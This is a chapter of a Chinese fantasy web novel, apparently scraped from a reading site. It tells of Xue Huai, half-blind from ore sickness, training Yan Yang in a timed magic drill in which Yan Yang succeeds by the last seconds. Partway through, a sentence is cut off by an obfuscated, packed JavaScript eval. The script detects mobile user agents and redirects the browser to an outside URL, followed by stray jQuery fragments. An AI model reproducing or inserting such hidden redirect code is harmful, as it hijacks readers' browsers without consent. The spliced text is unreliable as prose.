患上矿石病后,薛槐的左眼就看不见了。
    她总说自己幸运,岩石没长进肺腑,暂时不会给她造成直接的致命伤害,但,有时候她宁愿石头长进身体里,也好过视线被阻碍。
    对于一个魔法师来说,视野极其重要,少看一点画面都会错过很多细节,从而在战斗中失手——这也是她主动卸任的主要原因之一。
    看,现在,宴央利用了薛槐的弱点,故意绕到薛槐左边,让薛槐难以根据她的位置移动岩石。
    薛槐扬唇笑了笑。
    真是个聪明的孩子。
    “宴央这个坑货!”小鸟游跟青羊打到一半,突然发现不对劲,“怎么还能那样!”
    她满脑子都是薛槐攻击、她还击,完全没想过反过来放薛槐的风筝。
    薛槐注视前方空荡荡的场地,每当她准备左转时,宴央总会卡准时间先一步行动,始终保持在薛槐的左侧。
    还有五分钟才到时间,宴央打算走谨慎路线,跟薛槐慢慢耗。
    薛槐的岩石依旧变化莫测,有时一分为二,有时合二为一,也有时真真假假混在一起袭击,让宴央难以确定攻击哪个。
    还好,因为宴央处在薛槐的视线盲区,薛槐的动作有所放缓,岩石的数量和速度都不如前几轮。
    “真厉害,十一分钟还能保持百分之九十五的命中率。”薛槐没再动,侧着身子对宴央说。
    宴央“嘿嘿”两声:“反正我都这么厉害了,要不姐姐给我放点水?”
    薛槐哭笑不得。
    经过几天的相处,她对大家都有了一定的了解。她算是看出来了,在某些特定场景中,如果说青羊嘴巴抹了砒霜,那宴央嘴巴就是抹了蜜。
    一口一个“姐姐”,可不比小鸟游的“老薛”好听。
    时间一分一秒过去,宴央的动作越发熟练,几乎能与薛槐保持最佳距离,像一颗环绕恒星运转的行星。
    “特训可没有放水的说法哦。”薛槐说着,闭上了右眼。
    注意到这点,宴央笑容一僵。
    不太妙的样子。
    很快,宴央感觉周遭空气变得凝滞,她环视一圈,发现所有石头都静止下来,就那么一动不动地悬浮在半空。
    压迫感却直线上升。
    一股无形的力量从薛槐身上散发出来,像龙卷风一样剧烈地旋转、移动,然后,冲向宴央!
    刹那间,所有岩石下冰雹般砸向宴央,打得她措手不及。
    宴央心里“咯噔”一声,连忙调动魔法攻击岩石。
    第一秒她有些慌,也不管岩石是真是假,先打了再说,以至于空了很多招,命中率降了百分之一。还好她迅速平静下来,有条不紊地反击。
    薛槐没有睁眼,不过岩石的数量空前增多,攻击花样和强度也更上一个层次。
    “听声辨位!”克里加尔看出来了,惊喜地喊。
    宴央想紧贴薛槐左侧打消耗,薛槐看出了她的打算,于是不再改变自己,而是通过加大攻击力度,让宴央猛烈反击,而她则根据反击的声音判断宴央的位置。
    小鸟游连架都不打了,目瞪口呆看前方:“老薛这么狠啊。”
    克里加尔说:“这样的特训才有效果呀!”
    小鸟游挥挥手:“得了吧你,薛槐放屁你都觉得香。”
    克里加尔:“……”
    青羊,请。
    他们在这打趣,宴央完全没心思听。
    岩石群铺天盖地袭来,仿佛要将宴央掩埋。
    “嗖!”
    突然,一根粗长的岩矛毫无征兆地从宴央身后的死角刺来,速度快得惊人,直击她的命门!
    宴央的心拔凉拔凉的,小心脏“砰砰砰”跳不停,接下来的行动完全是凭借身体本能。
    火球“轰”地射出,险之又险地贯穿岩矛,将岩矛分成两半。
    还没来得及喘息,第二根、第三根岩矛接踵而至,仔细一看,居然是从岩石群里分化出来的!
    这些岩矛横七竖八地刺宴央,比星际时代的红外线激光.炸.弹还难缠。
    到底谁在说岩系攻击弱!
    宴央在心里骂骂咧咧,行动倒是没停。
    薛槐依旧闭着眼,面容平静,双手的挥动幅度变小,只剩手指轻微地点动,仿佛在拨动着无形的丝线。
    她不再依赖视觉,而是接收来自能量流动和空气震颤的信息。
    另外,宴央移动时引起的风声、发出魔法时带动的声音,甚至是她略显急促的呼吸声……都成为薛槐“看见”宴央的媒介。
    听声辨位,以听觉弥补视野的缺失。这是患上矿石病后,薛槐练就的本领。
    宴央瞬间从猎手变成被穷追不舍的猎物。
    她仿若陷入一张无形的大网,无论如何挣扎,岩石的攻击总能从最意想不到的角度袭来,而且越来越刁钻,越来越致命。
    左侧的“安全区”荡然无存。
    “十四分钟,百分之九十。”薛槐还在计算,说,“加油,还有一分钟。”
    这完全是卡极限,不管是时间还是命中率。
    宴央咬牙。
    都坚持到这个时候了,说什么都不能松懈。
    “加油啊宴央!”克里加尔喊。
    在他的呼喊声中,宴央的身形忽地一转,主动迎向岩石群。她在密集的石头里翻转,像雨燕在暴风雨中穿梭。
    “砰!”
    “砰!”
    “砰!”
    宴央再次加大魔法能量,一束束火球摧毁一块块岩石,留下满地残渣。
    这是一种极度耗费心神和体力的方式,汗水很快浸湿宴央的额头和头发,她的手臂因高速和高精度的施法而开始酸胀。
    薛槐在这时报时:“还剩三十秒。”
    一块岩石迎面飞来,半途分裂成三块虚影一块实体,宴央眼神一凝,几乎在分裂完成的瞬间就锁定了实体,火球精准点射。
    “砰!”
    准确射中实体岩石!
    又一块岩石从脚下突兀刺出,宴央跃起的同时,向下甩出一道魔法,借力向后空翻,同时击碎了来自后方的一击。
    “还剩十秒。”
    这个时候,所有人都变得紧张。
    四轮了,没有谁能在岩石的围追堵截下完成目标,而现在,宴央只需要再坚持十秒,并且完美命中所有石块即可达标!
    克里加尔激动得浑身发烫,连周刃都转过头来
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582392|183311||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    看战况。
    薛槐更是期待。
    她没有放水,假如宴央能在这种情况下达标,她会由衷地为对方感到高兴。
    宴央根本没注意时间,她要做的是击碎所有岩石,确保命中率不再下降。
    时间,自有薛槐计算。
    宴央拼尽全力,将自身的反应速度和魔法操控提升到了极限。
    真假混合的五块岩石呈包围之势袭来,宴央身形急转,像赛车在弯道漂移。她放出的火球划出曲折的轨迹,在千钧一发之际连续点爆其中的三块实体!
    “时间到了!”小鸟游喊,“最后十秒我数着的!老薛快停,不准打了!”
    她说话间,所有袭向宴央的岩石瞬间化为粉末,飘落在地。
    薛槐慢慢睁开眼睛。
    她在极短时间内回收所有岩石,轻轻地应了一声:“嗯,时间到。”随后抬头看飘在半空的宴央,说,“你做到了。”
    十五分钟,百分之九十的命中率。
    “砰!”
    一道沉闷的声音响起,是宴央径直摔在了草地上。
    听到最终的结果,宴央吊着的那口气彻底松下,连一根手指都不想再动。
    她翻了个身,面朝天,胸口因剧烈的喘气而剧烈起伏,力气被抽空,全身上下瘫软着动弹不得。
    这种高强度的对抗,她竟坚持下来了。
    看来前段时间的体能训练有点作用。
    虽然过程曲折,最后三分钟更是被逼到了极限,但终究成功了。
    “今天可以好好休息了哦。”薛槐蹲在宴央身边,看她的脸。
    宴央举起手,无声地比了个“耶”。
    薛槐起身:“那么,最后一位。”
    青羊上前几步。
    宴央被流光背到一旁,继续躺尸的时候还不忘拽流光的手当枕头,结果被流光一拳打偏。
    宴央抽泣——装的。
    流光:“……”
    真受不了她了。
    最后,宴央还是拥有了枕头。
    青羊的运气确实不错,他在宴央之后上场,一来能用宴央的方式对抗薛槐,二来,薛槐显然有点累了。
    听声辨位特别耗脑,且她必须要用大量的岩石逼得宴央打出较大的动静,再说之前也练了几轮,多少有些疲惫。
    不过她的疲态不明显,再打几轮都没问题。
    “这就是实战经验丰富的高手吗。”宴央瘫在流光身上,说,“感觉我们还有得练。”
    在跟她说话?流光回应:“大竞赛还有一周就开始了,我们的练习时间不多了。”
    每轮比赛结束后有一定的缓冲时间,通常被拿来调整和训练。不过缓冲时间不会很长,所流光才说“不多”。
    宴央道:“突然想起来一件事。”
    “嗯。”
    “我们是不是没报名大竞赛?”
    “……”
    “报名截止日期是多久?”
    想到那个时间点,流光沉默。
    “昨天。”克里加尔的声音幽幽传来,“放心吧,我早就报了。”
    没人提,他也不说,就看到时候有几个人记得报名一事。
    结果,呵呵。